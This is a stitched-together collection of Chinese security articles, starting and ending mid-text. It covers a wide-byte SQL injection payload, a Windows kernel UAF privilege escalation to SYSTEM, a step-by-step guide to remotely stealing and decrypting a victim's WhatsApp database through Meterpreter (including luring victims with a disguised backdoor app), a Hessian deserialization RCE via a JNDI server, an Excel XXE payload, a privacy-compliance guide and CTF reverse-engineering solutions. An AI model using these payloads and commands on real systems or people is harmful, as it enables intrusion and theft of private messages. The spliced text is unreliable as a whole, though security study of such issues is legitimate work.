我们选择 `\xe98ca6` ，它转成 gbk 就变成了 `\xe55c`（从 gbk 表中随便选一个 5c 结尾的就行），如果我们在其后加上一个 \
字符串就是 `\xe98ca65c` ，首先经过转义变成 `\xe98ca65c5c`，然后经过 iconv 处理变成了
`\xe55c5c5c`，而他数据库又是这样设置的：
character_set_client=binary
所以，目前更新数据库的时候变成了 `\xe\\\` 多了一个 \ ，造成了单引号逃逸，从而可以在后面的字段值中载入 payload，插入 16 进制字符串
开始构造payload：
three_cityid 处插入 utf8 字符，然后自己添加 address 字段
二次注入的sql payload为如下字符串的16进制：
`', qq=version(), email=user() where 1#`
`0x272c2071713d76657273696f6e28292c20656d61696c3d757365722829207768657265203123`
然后这里有个问题就是，它上传用的是 multipart/form-data; 表单形式，那么想要把 \xe98ca6 传过去就不好弄，我选择修改它的
Content-Type 为application/x-www-form-urlencoded，这样就可以通过 url 编码传值过去，然后自己将
表格形式的键值改成 key=values 形式
额....因为相关规定，我们就只看看其触发过程中的 sql 记录
首先是 update 时：
接着就是漏洞触发点时的记录：
最后造成的影响： | 社区文章 |
# CVE-2021-33739&CVE-2021-26868 内核漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## CVE-2021-33739
### 漏洞简介
释放CInteractionTrackerMarshaler对象时，只是清除了objChannel保存的对象数组指针，但是没有清除CInteractionTrackerBindingManagerMarshaler对象指向CInteractionTrackerMarshaler地址的指针，导致UAF漏洞。
近年来dwm组件相关的漏洞被频繁爆出，但是笔者没发现有一篇较为详细的从poc到利用，较为完整的分析文章，因此决定用最新的一枚dwm模块漏洞来分析，篇幅较长，望耐心看完
### 漏洞分析
该漏洞为UAF类型的漏洞，顾名思义，User After Free，要想触发漏洞需要重点观察的地方有两点
* 找到free对象的地方
* free之后再次访问被free掉对象的地方
**正常情况**
申请一个CInteractionTrackerBindingManagerMarshaler对象，两个CInteractionTrackerMarshaler对象，并将CInteractionTrackerMarshaler绑定到CInteractionTrackerBindingManagerMarshaler上面
调用SetResourceBufferProperty之前，可以看到CInteractionTrackerBindingManagerMarshaler对象0x38处为空
调用SetResourceBufferProperty之后，发现看到CInteractionTrackerBindingManagerMarshaler对象0x38处存放了一个指针，该指针指向的一个数组，数组保存着两个被绑定的CInteractionTrackerMarshaler对象，且两个CInteractionTrackerMarshaler对象0x190处存放这引用自己的对象，也就是CInteractionTrackerBindingManagerMarshaler对象
绑定之后，我们手动释放两个CInteractionTrackerMarshaler对象，下图为释放之前，可以看到是Allocated状态
下图为释放之后，可以看到是已经是Free状态了，且其父对象（其引用对象CInteractionTrackerBindingManagerMarshaler）的0x38处保存的指针不变，但是指向的内容确已经清空
**漏洞场景**
漏洞场景较正常情况，只是多了一步，那就是在手动释放之前，将构造szBuffer[2]的值改为0并调用SetResourceBufferProperty
第二次调用SetResourceBufferProperty之前，可以看到情况与正常情况下一致
**key**
第二次调用SetResourceBufferProperty之后，我们发现两个CInteractionTrackerMarshaler对象的0x190处的父对象被填为空了，也就是这两个对象当前没有被其他对象引用
CInteractionTrackerMarshaler释放之前，可以看到CInteractionTrackerBindingManagerMarshaler对象0x38处的指针，指向的数组如下
且CInteractionTrackerMarshaler释放之后，可以看到CInteractionTrackerBindingManagerMarshaler对象0x38处的指针，指向的数组并没有被清空，这就导致了父对象0x38偏移处保持了两个已经被释放的对象
**why**
对比正常情况和漏洞场景我们发现，只是简单的调用了一次SetResourceBufferProperty，且设置不了不同的szBuffer，怎么就会不一样了?IDA中观看SetResourceBufferProperty更加直观一点，我们可以看到
v9 = _(_DWORD_ )(szBuff + 8)
后续对v9进行了判断，如果v9为空，那么则会调用RemoveBindingManagerReferenceFromTrackerIfNecessary函数，该函数将会将把CInteractionTrackerMarshaler对象0x190处置空
在之后构造nCmdReleaseResource，进行释放资源时最终会调用到DirectComposition::CApplicationChannel::ReleaseResource函数，最终调用到DirectComposition::CInteractionTrackerMarshaler::ReleaseAllReferences函数，该函数最终会对CInteractionTrackerMarshaler对象0x190处做解析，如果这里为空则不会释放其父对象CInteractionTrackerBindingManagerMarshaler偏移0x38处的指针，因此在我们第二次调用SetResourceBufferProperty后，给我们保留了一个不正常的CInteractionTrackerBindingManagerMarshaler对象（对象0x38偏移处保存了两个已经被释放的对象）
### 漏洞触发
在漏洞分析部分我们已经找到free对象的地方，现在我们迫切的需要一个能访问到被释放对象的函数
可以看到CInteractionTrackerMarshaler对象0x18处为我们指定的HANDLE标识
我们回头继续看SetBufferProperty函数,该函数第一个参数为objCInteractionTrackerBindingManagerMarshaler，第二个参数为objChannel
经过对objChannel的逆向，其结构体部分内容如下
通过handle为索引通过obChannle偏移0x38处，获取对应的CInteractionTrackerMarshaler对象
，以下简称为A对象和B对象
我们可以看到v21是从数组里面取出来的第一个CInteractionTrackerMarshaler对象，这里会分别对比A对象的handle和从数组里取出来第一个对象的handle，以及B对象的handle和从数组里取出的第二个对象的handle进行对比，如果一样，则只是设置szBuffer[2]的内容到数组中
那么我们在CInteractionTrackerMarshaler对象被释放后，构造Fake_CInteractionTrackerMarshaler对象,使其handle分别为0x4和0x5，占用原先的内核地址空间
然后在创建handle为4和5的CInteractionTrackerMarshaler对象，最后调用NtDCompositionCommitChannel函数去触发BSOD
BSOD内容，现在我们已经有了free之后再次访问被free掉对象的地方。win32kbase!DirectComposition::CInteractionTrackerBindingManagerMarshaler::EmitBoundTrackerMarshalerUpdateCommands+0x4f
### 漏洞利用
要想成功利用漏洞则要具备WWW条件，Write What Where
我们要寻找写入点，写什么，写到哪
通过漏洞触发，我们锁定到了UAF中的Use部分，指向数组的指针偏移为0x10处不能为0,否则来不到调用处，因此之前我们最后一次调用SetResourceBufferProperty设置的szBuffer[2]为0xffff。
由下图我们可以看到在取出objCInteractionTrackerMarshaler对象，先取出objCInteractionTrackerMarshaler对象0x0处的内容，改地址为虚表指针，再取出虚表0x50处的函数进行调用
我们可以通过映射0xffffffff位置，构造一个虚表，在虚表0x50处放入我们想要调用的函数
通常我们要用到一些小函数实现任意写，内核中就有这么一个函数SeSetAccessStateGenericMapping，该函数会将rdx放到[rcx+0x48]+0x8处
由此Fake_CInteractionTrackerMarshaler的0x48处为我们的
where，rdx为我们的what，Palette对象（Fake_CInteractionTrackerMarshaler）构造如下，Fake_CInteractionTrackerMarshaler的0x0处为映射的0xffffffff指针，Fake_CInteractionTrackerMarshaler的0x018处为handle，Fake_CInteractionTrackerMarshaler的0x48处为where，objChannel+0xb8处为what，该地址保存着这样一个值为0x000000000000000~0xffff….，但是我们是一个16字节的写，至此我们有了一个任意16字节内存破坏的利用链
where的选取
每个线程都有自己的_KTHREAD，该结构体部分截图如下，我们可以尝试将where定位在PreviousMode附近，该字段表示当前线程的当前模式，1为usermode，0为kernelmode，我们只要将PreviousMode改为0，即可利用kernelmode的权限进行一下API的操作，这些API在kernelmode下有更多的权限，从而导致LPE
### EXP完整利用过程
漏洞利用第一步，释放对象
为了利用漏洞我们首先先利用nCmdCreateResource创建3个对象，分别为一个CInteractionTrackerBindingManagerMarshaler和两个CInteractionTrackerMarshaler。并将handle为2
和
3的CInteractionTrackerMarshaler对象绑定到CInteractionTrackerBindingManagerMarshaler上,将handle为4
和5的CInteractionTrackerMarshaler对象留着备用
为了创建上述对象，需要调用内核态函数NtDCompositionProcessChannelBatchBuffer数，该函数内部由DirectComposition::CApplicationChannel::ProcessCommandBufferIterator分发，当为nCmdCreateResource时则会调用DirectComposition::CApplicationChannel::CreateResource函数
DirectComposition::CApplicationChannel::CreateResource函数内部继续调用CreateInternalResource进行不同资源的创建，分别会于win32kbase!DirectComposition::CApplicationChannel::CreateInternalResource+0x9c453以及win32kbase!DirectComposition::CApplicationChannel::CreateInternalResource+0x9c479分别申请
CInteractionTrackerBindingManagerMarshaler对象、CInteractionTrackerMarshaler对象
动态创建对象，用windbg下如下断点，其中伪寄存器$t1的值为当前进程的EPROCESS，可以看到下图所示，我们分别打印出了这些被创建对象的内核地址空间
ba e1 win32kbase!DirectComposition::CApplicationChannel::CreateInternalResource+0x9c453 ".if $proc==$t1 {.printf \"申请的CInteractionTrackerBindingManagerMarshaler对象 地址为=%p\\r\\n\",@rax;gc} .else{.printf \"pass\\r\\n\" ;gc}"
ba e1 win32kbase!DirectComposition::CApplicationChannel::CreateInternalResource+0x9c479 ".if $proc==$t1 {.printf \"申请的CInteractionTrackerMarshaler对象 地址为=%p\\r\\n\",@rax;gc} .else{.printf \"pass\\r\\n\" ;gc}"
ba e1 win32kbase!NtDCompositionProcessChannelBatchBuffer+0x1a1 ".if $proc==$t1 {.printf \"消息分发\\r\\n\"} .else{.printf \"pass\\r\\n\" ;gc}"
创建之后，构造MappedAddress，设置nCmdSetResourceBufferProperty，并调用NtDCompositionProcessChannelBatchBuffer，将hande为2和3的对象绑定到CInteractionTrackerMarshaler对象绑定到CInteractionTrackerBindingManagerMarshaler上，从下图可以看到绑定之前和绑定之后在CInteractionTrackerBindingManagerMarshaler内核地址空间偏移0x38处保存了一个指针，该指针指向一个数组，数组中的值分别为之前被绑定的CInteractionTrackerMarshaler对象
再次构造MappedAddress，设置nCmdSetResourceBufferProperty，并调用NtDCompositionProcessChannelBatchBuffer，这次较上次调用的区别如下红色框
可以看到handle为2和3的CInteractionTrackerMarshaler对象，分别简称为A，B对象。在调用SetBufferProperty函数之前，其父对象（引用该对象的对象）都为绑定的CInteractionTrackerBindingManagerMarshaler对象
通过将szBuff[3]设置为0x00，调用SetBufferProperty函数之后，可以看到其父对象（引用该对象的对象）已经为空
继续构造MappedAddress，设置nCmdReleaseResource，并调用NtDCompositionProcessChannelBatchBuffer，在调用之前可以看到CInteractionTrackerMarshaler对象依旧是Allocted状态
在调用之前可以后CInteractionTrackerMarshaler已经变为了Free状态
释放之后回到应用态是用大量的Palette对象占用该地址空间
可以看到由win32k类型的Palette对象成功占位
可看到我们构造的Fake_CInteractionTrackerMarshaler（Palette）对象，成功占位
继续用用两个handle分别为0x4和0x5的对象，并将szBuff[2]设置为0xffff ，构造MappedAddress
调用SetBufferProperty可以看到原先的CInteractionTrackerBindingManagerMarshaler这个对象偏移0x38处并未被填空，其保存的指针依旧为指向一个数组，内容为原先的handle为两个已经释放掉的CInteractionTrackerMarshaler对象，
在占位到CInteractionTrackerMarshaler对象后，我们紧接着调用NtDCompositionCommitChannel函数，最终调用DirectComposition::CInteractionTrackerBindingManagerMarshaler::EmitBoundTrackerMarshalerUpdateCommands函数
利用构造的虚假虚表，调用SeSetAccessStateGenericMapping函数
SeSetAccessStateGenericMapping会进行十六字节的写操作
替换之前PreviousMode为1
替换后PreviousMode为0
接着就是注入Winlogon进程，成功获取system权限
## 附录
分析中用到的exp地址
<https://github.com/mavillon1/CVE-2021-33739-POC>
实验环境为
windows 10 1909 x64
原exp公开的时期为2021年4月份，其实包含了两个漏洞，exp作者应该也不知道，微软也不知道，微软只修复了内核中的漏洞，并没有修复应用层的漏洞，应用层漏洞的触发只需要szBuffer[0]和szBuffer[1]中的保存的handle一样即可。 | 社区文章 |
# 解密：攻击者是如何一步步拿下你的WhatsApp数据库
|
##### 译文声明
本文是翻译文章，文章来源：FREEBUF
原文地址：<http://www.freebuf.com/articles/terminal/80625.html>
译文仅供参考，具体内容表达以及含义原文为准。
[](http://image.3001.net/images/20151006/14441366194874.jpg!small)
针对已root过的安卓移动设备,本文主要讲解远程攻击并解密WhatsApp数据库的详细过程。另外,这再一次提醒我们,对移动设备进行root(安卓)或越狱(iOS),将使用户暴露在黑客攻击之下。
几小时前,网络上发布了一个有趣的文章《[如何远程破解并解密WhatsApp数据库[ROOT]](http://null-byte.wonderhowto.com/how-to/hack-and-decrypt-whatsapp-database-remotely-root-0165015/)》,文中解释了如何从一个root过的安卓系统中提取并解密WhatsApp数据库。尽管通常情况下WhatsApp非常安全,但对安卓设备的root处理将可能使用户暴露在攻击风险之中。
接下来,就让我们一步一步看看作者(使用匿名[F.E.A.R.](http://creator.wonderhowto.com/feardie/))所提出的攻击场景。
步骤1:利用并获取安卓设备的访问权限
正如[这篇指南](http://null-byte.wonderhowto.com/how-to/hack-android-using-kali-updated-and-faq-0164704/)中所解释的,如果安卓设备通过使用Meterpeter命令进行了root,那么这一阶段将变得很简单。
[](http://image.3001.net/images/20151006/14441368764056.jpg!small)
[](http://image.3001.net/images/20151006/14441368891790.jpg!small)
为了攻击并解密WhatsApp数据库,攻击者需要一个存在于数据文件夹中的密钥文件,而访问该文件的唯一途径就是拥有root权限。此外,该密钥文件是解密WhatsApp数据库所必不可少的。
步骤2:下载数据库
使用下列命令通过Meterpreter下载数据库:
cd /
cd /sdcard/WhatsApp
ls (打印当前目录)
cd Databases
下载msgstore.db.crypt8 (这里需要耗费一些时间,可能很长)
[](http://image.3001.net/images/20151006/14441370227810.jpg!small)
步骤3:提取解密密钥
解密WhatsApp数据库所必需的密钥文件中存储了两套解密密钥,即实际的加密密钥K和一个名为IV的初始化向量。值得一提的是,WhatsApp密钥文件存储在一个安全的位置。下面这些都是提取密钥文件的命令:
shell
su(超级用户访问或仅仅进行提权)
正如F.E.A.R.所解释的,这是最困难的部分,特别是如果目标手机用户是有经验且熟练的用户,因为他必须已经安装[SuperSU](https://play.google.com/store/apps/details?id=eu.chainfire.supersu&hl=it)应用程序。
如何诱导受害者安装SuperSU?
可以看一下用户[bart](http://creator.wonderhowto.com/bartvelp/)发布的[这篇教程](http://null-byte.wonderhowto.com/how-to/make-your-malicious-android-app-be-more-),里面解释了如何伪装一个后门应用程序。不过,如果下列场景中的受害者并非是一个有经验的或熟练的用户,那么事情将变得更加简单:
1、他们没有安装SuperSU应用程序。
2、对于新安装的应用,他们没有改变设置为PROMPT,而并非GRANT。
执行以下命令来访问密钥文件夹,并提取解密密钥。
cd /
cd /data/data
ls
cd com.whatsapp ls
cd files
ls cp key /sdcard/Download (意思是将文件key拷贝到/sdcard/Download文件夹)
步骤4:下载解密密钥文件到root目录
下载提取的密钥文件到root目录,该目录中还含有加密的WhatsApp数据库:
cd /
cd /sdcard/Download
download key
rm key (确保你删除了key文件)
步骤5:解密WhatsApp数据库
文章中报道了2种不同的方法来解密WhatsApp:
(1)使用Linux命令:每次复制并粘贴一条命令,不要将它们写成一个脚本文件,否则它将不能正常工作:
hexdump -e '2/1 "%02x"' key | cut -b 253-316 > aes.txt
hexdump -n 67 -e '2/1 "%02x"' msgstore.db.crypt8 | cut -b 103-134 > iv.txt
dd if=msgstore.db.crypt8 of=msgstore.db.crypt8.nohdr ibs=67 skip=1
openssl enc -aes-256-cbc -d -nosalt -nopad -bufsize 16384 -in msgstore.db.crypt8.nohdr -K $(cat aes.txt) -iv $(cat iv.txt) > msgstore.gz
gzip -cdq msgstore.gz > msgstore.db
如果第4行命令不能工作,那么就按下面的指令操作:
hexdump -e ‘2/1 “%02x”‘ key | cut -b 253-316
hexdump -n 67 -e ‘2/1 “%02x”‘ msgstore.db.crypt8 | cut -b 103-134
openssl enc -aes-256-cbc -d -nosalt -nopad -bufsize 16384 -in msgstore.db.crypt8.nohdr -K (从第1条指令中粘贴文本文档) -iv (从第2条指令中粘贴文本文档) > msgstore.gz
(2)第二种方法基于简单的Windows WhatsApp查看器应用程序,可以看一下[原文](http://null-byte.wonderhowto.com/how-to/hack-and-decrypt-whatsapp-database-remotely-root-0165015/)。
这是又一次的教训,对移动设备进行root(安卓)或越狱(iOS),将使用户暴露在黑客攻击之下。 | 社区文章 |
Hessian是一个轻量级的RPC框架。它基于HTTP协议传输，使用Hessian二进制序列化，对于数据包比较大的情况比较友好。
Hessian反序列化可导致RCE,POC于2017年就公开了,但是经过测试,目前最新版本hessian-4.0.60.jar,同样存在反序列化问题
使用marshalsec项目,可生成利用payload,包括SpringCompAdv,Resin, ROME, XBean
下面使用Resin的payload来复现一下:
一,搭建测试环境
测试环境使用最新jar包,hessian-4.0.60.jar
将HessianTest.war放到tomcat/webapp/目录下并启动tomcat
访问服务器地址<http://127.0.0.1:8080/HessianTest/hessian,返回如下页面则说明环境正常>
二,启动JNDI利用工具
执行命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A
127.0.0.1
-C为需要执行的命令 -A为监听地址
三,生成payload
执行命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin
<http://127.0.0.1:8180/> ExecTemplateJDK7>hession
将在当前目录生成hession的payload
注意:<http://127.0.0.1:8180/ExecTemplateJDK7> 为 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具启动后生成的恶意代码地址
四,发送payload到hessian服务器
使用hessian.py 发送序列化的payload到服务器
执行命令:
python hessian.py -u <http://127.0.0.1:8080/HessianTest/hessian> -p hessian
可以看到服务器已经去JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar上下载恶意类并执行弹出计算器
漏洞利用数据流图如下:
五,分析
Hessian是一个轻量级的RPC框架,使用hession的web项目需要配置web.xml,映射com.caucho.hessian.server.HessianServlet到相应的web路径
Java客户端可以很方便的调用服务器上的方法,如下图可以看到通过http协议调用了服务器上的方法
查看com.caucho.hessian.server.HessianServlet的代码,其service方法处理客户端发来的http请求
调用HessianSkeleton的invoke方法,最终调用readObject方法,将从客户端发来的数据流中读取对象
看代码里面好像没有什么黑白名单过滤机制
通过抓取请求包,分析,构造请求包,将marshalsec工具生成的Resion payload发送给服务器
下面是构造请求包的hessian.py代码 | 社区文章 |
# App隐私合规简论
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00. 引言
2020年，个人信息保护与信息安全领域的法律法规及行业标准呈爆发式发布。而App隐私合规依旧是老生畅谈的话题，延续2019年，2020年有关部门针对App个人信息侵权专项治理成立专项治理工作组，对三十万余App进行检测，对涉及违规
APP 通过通报、约谈、整改、下架等处罚形式，通过深度治理与曝光形式，达到改善 APP 的个人信息安全问题。
工信部副部长刘烈宏2020年11月27日在工信部召开的全国App个人信息保护监管会上表示“工信部将加大力度，从2021年初继续开展为期半年的专项整治，对有令不行、整改不彻底、反复出现问题、搞技术对抗的企业和App严厉处置。
2021年的执法力度将更加深入，SDK的具体技术实现将成为纵深检查点，行政执法方式将从专项治理式转为常态化。更加狠抓严查App侵害用户权益行为，紧盯反复出现问题被点名通报的重点企业。
同时推动App及SDK开发运营者、应用分发平台、第三方服务提供者、设备厂商、安全厂商自觉履行社会责任。”
那么作为App运营者在面对诸多监管和检查标准时应怎么处理和应对呢？本文将梳理部分在App隐私合规工作上的一些经验供大家参考。
## 0x01. App隐私合规要点
本文将从一个App从首次安装，账号注册，账号登录，功能使用，问题范围，账号注销这6个环节进行阐述。
### 1、首次安装
关键动作：同意《隐私政策》
A、交互形式
给予用户2个选择，“同意”或“拒绝”。
* 用户可以选择“拒绝”，若用户选择拒绝，可以提示将退出App；
* 仅在用户选择“同意”时，方可收集用户交互数据。
B、内容
方式一：简要说明同意文件的内容，说明要点即可；
方式二：内嵌点击同意动作相关文件的全文。
* 此部分可以参考产品经理或用户体验设计师的想法
C、数据交互：在用户点击“同意”或其他明示同意意思的按键前，禁止任何的数据采集。
* 检查方式：通过第三方工具进行抓包，可以选择外部工具采买、Github寻求开源方案或内部团队自研。
D、参考
### 2、账号注册
#### 1）注、登一体登录方式
一般为验证码登录方式，前置判断输入手机号是否已生成帐号，如已有帐号则正常获取验证码输入验证码登录；
如未生成帐号，则在进入登录状态前，需单独签署《隐私政策》及其他用户协议内容，签署形式可为弹窗、手动Check Box勾选等。
#### 2）单一注册方式
需单独签署《隐私政策》及其他用户协议内容，签署形式可为弹窗、手动Check Box勾选等。
* 需要注意，以上场景均不可以默认勾选或同意《隐私政策》，需用户自主勾选。
### 3、账号密码登录
常见做法，可以使用帐号密码登录的用户均已有帐号，并可以登录。可不附加协议。
也可根据各家法务小伙伴要求，是否签署协议等。
### 4、功能使用
#### 1）信息收集
常见为表单填写，比如：意向用户线索收集。
#### 2）权限申请
A、目的声明
发起权限申请前，应以弹窗的形式提前说明申请权限的场景（即业务场景）、目的、将会收集的信息。
形式：常见以弹框说明，其他形式亦可，需要注意提示时机。
B、 用户交互
a.当用户选择：同意，方开始收集对应权限的信息或行使对应权限功能；
b.当用户选择：拒绝，则在本次使用App时，如用户未主动触发功能则不应再次主动发起，或于48小时后再发起；
c.当用户选择：拒绝且不再提醒，则在App场景内将再不可发起授权，而是提供用户系统设置页面开启。
* 任何权限的拒绝均应仅影响该权限对应的业务功能，不应影响其它与该权限无关的功能；同时，拒绝权限不应闪退退出App。
C、参考
### 5、隐私中心
#### 1）《隐私政策》查看
当用户进入App后，应提供《隐私政策》查看路径，且路径长度不应超过4步。
常见放置：我的或个人中心 – 设置 – 隐私设置或隐私政策。
#### 2）隐私设置
隐私设置分为2部分。
其一，罗列App所需的所有权限，并根据实际授权状态标识为“已授权”“未授权”“去设置”，其中“去设置”应跳转至系统设置；此处的权限需要说明授权目的以所关联的业务场景。
其二，若为多个App关联，即A类App可以通过选择第三方登录方式，调用第三方App
B进行登录。则B类App的隐私设置需设立“授权管理”以确保用户可以取消B类App对于其他业务的授权。
* 参考
### 6、账号注销
1）帐号可以注册则要提供注销功能，同时根据《电子商务法》的要求，不得给用户帐号注销设置障碍。比如：浏览器帐号注销需要提供帐号用户本人照片。
2）帐号注销的同时需要删除用户的个人信息，法律法规另有要求除外。
## 0x02. 其他说明
### 1、隐私政策完整性
隐私政策应清晰、准确、完整地描述个人信息控制者的个人信息处理行为。隐私政策模版可参考《GB/T35273-2020 信息安全技术 个人信息安全规范》附录D。
隐私政策中应明确App所使用的第三方SDK清单，并注明来源、使用目的及收集的个人信息。
* 请注意与企业实际业务开展情况进行编写。
### 2、用户权利响应
#### 1）知情权
在App中表现形式为：隐私政策签署告知、用户提示、申请目的告知、用户信息采集告知。
#### 2）访问权
在App中表现形式为：个人中心个人信息查看。
#### 3）被遗忘权
在App中表现形式为：帐号注销功能实现。
#### 4）更正权
在App中表现形式为：个人信息修改功能实现。
#### 5）限制处理权
在App中表现形式为：隐私中心功能实现。
#### 6）数据可携带权
在App中表现形式为：个人信息下载。
#### 7）撤回同意
在App 中表现形式为：隐私中心功能实现或帐号注销功能。
* 以上所有功能，如非通过App自有功能实现，而是通过隐私政策明确的反馈路径，如：邮箱。则负责维护邮箱的同学应定期进行用户反馈回复。时间不得超过15个工作日。
## 0x03. 写在最后
在经过持续2年的专项治理之后，2021年将更加深入地开展工作。笔者认为后续应关注：第三方SDK的告知及安全性，App本身的安全性。包括但不限于：
1、引入前的安全评估，使用过程中的持续监督；
2、以明确的方式告知用户，App中嵌入的SDK及可能收集的信息；
3、提供用户第三方SDK授权开关。
隐私合规之路任重而道远，吾往矣。 | 社区文章 |
## 0x00 前言
XML外部实体攻击非常常见，特别是通过基于HTTP的API，我们经常遇到并利用以此通常获得对客户端环境的特权访问。
不常见的是用Excel进行XXE攻击。
## 0x01 这是什么方式
实际上，与所有post-Office 2007文件格式一样，现代Excel文件实际上只是XML文档的zip文件。这称为Office Open
XML格式或OOXML。
许多应用程序允许上传文件。有些处理内部数据并采取相应的操作，这几乎肯定需要解析XML。如果解析器未安全配置，则XXE几乎是不可避免的。
在这篇文章中，我专注于Excel只是因为处理Excel文件比使用Word文档或Powerpoint更常见，但它肯定并不罕见，本文中的任何内容都可能适用于这些应用程序。
## 0x02 入门
假设我们有一个接受Excel文件进行上传和处理的目标应用程序，我们就可以开始探测XXE了。相同的攻击有效负载可能会起作用，我们只需将它们放入Excel文件即可。
创建一个新的空白Excel文件。你可以在某些单元格中键入内容，但实际上并不是必需的。如果您没有安装Excel？您可以使用Google表格，然后下载为xlsx。
创建一个目录以将Excel文件解压缩并解压缩。
$ mkdir XXE && cd XXE
$ unzip ../XXE.xlsx # obviously use whatever your xlsx file is here
Archive: ../XXE.xlsx
inflating: xl/drawings/drawing1.xml
inflating: xl/worksheets/sheet1.xml
inflating: xl/worksheets/_rels/sheet1.xml.rels
inflating: xl/sharedStrings.xml
inflating: xl/styles.xml
inflating: xl/workbook.xml
inflating: xl/_rels/workbook.xml.rels
inflating: _rels/.rels
inflating: [Content_Types].xml
用于攻击应用程序的文件会有所不同，这在很大程度上取决于所使用的库。xl/workbook.xml提供了工作簿内容的概述，通常是大多数解析开始的地方，因为它将包含工作表及其名称的列表。单个工作表本身位于xl/worksheets目录下，通常内容最终会进入xl/sharedStrings.xml。
我在实际中发现了这一点，大多数应用程序似乎都会使用xl/workbook.xmlXML解析器来获取工作表列表，然后分别读取每个工作表以获取单元格内容。我还没有找到任何易受细胞影响的应用程序，但您的里程可能会有所不同。
鉴于这种方法，根据经验，通常最好先尝试xl/workbook.xml，这就是我将在这篇文章中展示的内容。就像将XXE有效负载添加到此文件一样简单，将内容压缩回Excel文件并将其上传到应用程序。
## 0x03 使用BURP COLLABORATOR对XXE进行盲测
在我们的演示应用程序中，无法将数据检索到HTTP响应中，因此所有这些XXE发现和利用都将是盲目的。我喜欢使用Burp
Collaborator进行初始测试，因为阻止出站HTTP请求但允许DNS查询的情况并不少见。使用Collaborator我们可以看到两种交互并确认漏洞，即使我们可能无法轻易利用它。
打开Burp Suite Professional，单击Burp菜单并选择“Burp Collaborator client”将其打开。
单击“复制到剪贴板”。就我而言，值是gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net。现在我们将其插入到XML中。
打开xl/workbook.xml并将以下内容插入第2行和第3行。确保从Burp中粘贴你的值，而不是下面显示的值。:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>
<x>&xxe;</x>
你的xl/workbook.xml现在会是像这样。
现在将其压缩以创建新的Excel文件。
$ zip -r ../poc.xslx *
updating: [Content_Types].xml (deflated 71%)
updating: _rels/ (stored 0%)
updating: _rels/.rels (deflated 60%)
updating: docProps/ (stored 0%)
updating: docProps/app.xml (deflated 51%)
updating: docProps/core.xml (deflated 50%)
updating: xl/ (stored 0%)
updating: xl/workbook.xml (deflated 56%)
updating: xl/worksheets/ (stored 0%)
updating: xl/worksheets/sheet1.xml (deflated 53%)
updating: xl/styles.xml (deflated 60%)
updating: xl/theme/ (stored 0%)
updating: xl/theme/theme1.xml (deflated 80%)
updating: xl/_rels/ (stored 0%)
updating: xl/_rels/workbook.xml.rels (deflated 66%)
updating: xl/sharedStrings.xml (deflated 17%)
现在将此poc.xlsx上传到你的应用程序。在这种情况下，有一个简单的ReactJS演示应用程序，它允许我们将文件拖入。你的应用程序应该会有所不同，但都是一个方式。
现在检查您的Burp Collaborator客户端，看看您是否有任何点击。
成功。我们已确认XXE。
## 0x04 总结
通过Excel利用XML外部攻击非常简单，一旦你找到它，基本上你通常使用的任何盲技术都将与更标准的HTTP请求一样利用。
本文是[EXPLOITING XXE WITH EXCEL](https://www.4armed.com/blog/exploiting-xxe-with-excel/ "EXPLOITING XXE WITH EXCEL")的翻译文章 | 社区文章 |
# 2021 绿城杯 Re 逆向部分 题解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
ak 了 re，mark 一下
原题链接: 链接：<https://pan.baidu.com/s/1lA9Y003K3AhWedge8NuQUw>
提取码：1111
## easy_re
* 签到题，本身没啥好说的，把几个花指令 nop 掉，就可以 F5 看伪代码
* 可以看到就是一个亦或加密，所以无需关心密钥生成，直接 dump 密钥流即可
* 动调起来后，输入一串 a，让程序运行到比较处时 dump 此时的 `fake_cipher` ，然后与字符 a 亦或即可得到密钥流
cipher = [245, 140, 141, 228, 159, 165, 40, 101, 48, 244,
235, 211, 36, 169, 145, 26, 111, 212, 106, 215,
11, 141, 232, 184, 131, 74, 90, 110, 190, 203,
244, 75, 153, 214, 230, 84, 122, 79, 80, 20,
229, 236]
fake_plain = b'a'*len(cipher)
print(fake_plain)
fake_cipher = [242, 129, 141, 226, 133, 167, 124, 97, 97, 243,
191, 212, 115, 229, 150, 76, 55, 208, 38, 131,
8, 213, 235, 244, 219, 19, 3, 105, 242, 152,
173, 76, 200, 131, 177, 4, 42, 25, 9, 69,
182, 240]
keys = [fake_cipher[i] ^ fake_plain[i]for i in range(len(cipher))]
flag = ''
for i in range(len(cipher)):
flag += chr(cipher[i] ^ keys[i])
print(flag)
* `flag{c5e0f5f6-f79e-5b9b-988f-28f046117802}`
## babyvxworks
* 一个 VxWork 上的可执行文件，直接拖到 IDA 32 里面就能分析
* 根据交叉引用定位到主函数，发现有不少花指令
* `jz` 和 `jnz` 连着用就相当于 `jmp` 了，所以直接把这一大片全部 patch 成 `nop` 即可
* 然后就能查看伪代码了。根据语义可以重命名一下函数
* 关键就在于 `enc` 函数了，修改一下它的函数原型，改成 `void` 返回值，可以发现就是一个简单的递归
* 由于是单字节加密，所以直接爆破即可
cipher = [188, 10, 187, 193, 213, 134, 127, 10, 201, 185, 81, 78, 136, 10,
130, 185, 49, 141, 10, 253, 201, 199, 127, 185, 17, 78, 185, 232, 141, 87]
def brute():
for i in range(len(cipher)):
for c in range(0x20, 0x7f):
tmp = c
for _ in range(30):
tmp ^= 0x22
tmp += 3
if tmp & 0xff == cipher[i]:
print(chr(c), end='')
break
brute()
* `flag{helo_w0rld_W3lcome_70_R3}`
## 抛石机
* 个人认为是很恶心的题…考点完全不在逆向分析而是做一些奇奇怪怪的工作…希望国内比赛这种题可以少一点
* 程序逻辑很简单，基本就是输入一个 uuid，每两个 `byte` 作为一个十六进制数，然后填充到 `buffer` 里，之后调用函数进行校验
* 然后把 `buffer` 的数据转换成 `double` ，放到一元二次方程里进行运算
* 随便输入一个 uuid，即可找到 uuid 和 `buffer` 中填充数据的对应关系，这时就确定了四个 `double` 都是前四个字节是 0，后四个字节是 uuid 中的数据
* 然后就是爆破了…跑了挺久，服了
package main
import (
"encoding/binary"
"fmt"
"math"
"runtime"
